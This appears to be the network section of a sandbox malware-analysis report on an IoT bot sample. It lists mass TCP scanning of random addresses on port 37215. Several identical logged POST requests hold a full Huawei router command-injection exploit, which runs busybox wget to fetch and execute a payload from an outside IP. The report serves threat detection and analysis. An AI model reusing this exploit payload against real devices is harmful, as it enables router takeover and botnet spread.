Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.149.229.93:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.36.217.192:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.113.6.192:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.80.238.70:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.165.193.127:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.157.240.207:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.47.67.249:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.144.14.120:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.165.193.237:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 27.81.141.192:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.148.125.104:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 163.231.211.7:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.154.242.118:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.10.100.131:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.82.92.248:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 175.99.120.5:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.209.4.226:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.47.159.141:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 85.19.25.69:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 102.175.34.93:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.67.255.21:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.24.98.56:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 149.159.235.238:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.19.16.87:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.152.179.106:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.96.87.156:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.38.252.152:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 212.88.131.112:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.251.190.175:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.83.72.79:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 52.69.205.76:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.150.79.236:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.232.156.71:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.26.71.39:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.135.166.29:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.151.53.203:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 195.142.118.51:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.135.52.146:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.87.80.162:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.11.99.130:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.94.147.5:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.239.144.156:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.129.98.177:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 101.32.103.0:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 164.0.75.244:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.199.134.2:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.5.249.222:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.145.8.75:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 12.94.124.149:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.116.227.183:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.108.84.4:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.233.56.160:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.109.133.66:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.142.55.195:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 158.55.218.163:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.218.97.127:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 99.183.69.172:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.208.167.208:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 176.51.54.179:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 144.2.14.139:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.2.116.130:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.237.17.130:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.59.205.173:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.83.217.158:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.152.135.16:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.85.165.223:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 137.226.220.171:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.246.200.100:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.113.76.8:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 134.86.201.202:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 93.69.16.186:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.229.101.55:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.133.107.124:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.159.0.132:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.100.107.228:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.243.131.198:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.100.208.252:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.140.124.164:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 107.77.251.15:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.57.146.222:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.114.129.186:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.224.209.86:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.214.23.190:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.155.22.157:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.38.4.86:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.21.158.194:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.103.193.3:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.141.134.40:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.143.180.214:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 195.52.125.121:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.151.51.234:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.10.53.132:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.34.251.79:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.3.183.185:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.104.56.19:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.149.71.208:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.238.217.184:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.161.221.9:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.143.140.233:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.114.156.28:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.58.246.106:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 107.90.210.8:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.95.71.92:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.201.128.248:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 90.97.158.1:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.221.133.166:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.19.145.246:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 81.167.244.227:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.180.134.196:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.241.50.160:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 82.243.2.134:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.16.238.230:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.150.233.221:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.250.125.183:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.45.46.185:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.145.251.115:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.138.111.197:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 23.234.227.110:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.135.165.241:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.242.1.36:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.180.195.235:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 114.117.105.67:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.19.80.236:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 191.10.12.205:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 180.110.69.4:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.203.247.136:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.149.124.127:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.99.114.192:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.14.166.224:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.229.180.144:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.83.170.200:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.1.12.189:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.63.174.191:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 88.13.216.243:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.197.191.76:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.194.217.58:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.102.141.136:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.4.65.228:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.217.144.118:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.186.147.8:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.154.241.195:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.146.147.81:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.238.200.60:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.241.180.90:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.120.235.213:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.229.233.131:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.182.3.229:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.233.72.150:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.16.151.175:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.28.54.139:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.14.203.177:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 149.114.224.111:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.27.173.122:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.56.236.29:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.89.218.148:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.155.117.190:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 65.252.19.187:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.48.76.253:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.249.146.235:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.207.11.22:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 54.119.200.21:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.105.158.45:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.178.15.6:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.62.50.181:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.238.128.42:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.141.143.145:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.111.107.18:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.167.29.118:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.161.161.97:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.39.254.20:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.60.27.227:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.172.141.122:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.186.176.27:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 157.255.239.246:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 145.81.52.110:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 41.73.97.210:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.82.91.197:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 193.239.211.103:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.72.208.211:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.65.247.234:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 197.76.166.181:37215
Source: global traffic TCP traffic: 192.168.2.23:2532 -> 64.199.82.44:37215
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Source: unknown DNS traffic detected: query: BC@^]B replaycode: Name error (3)
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 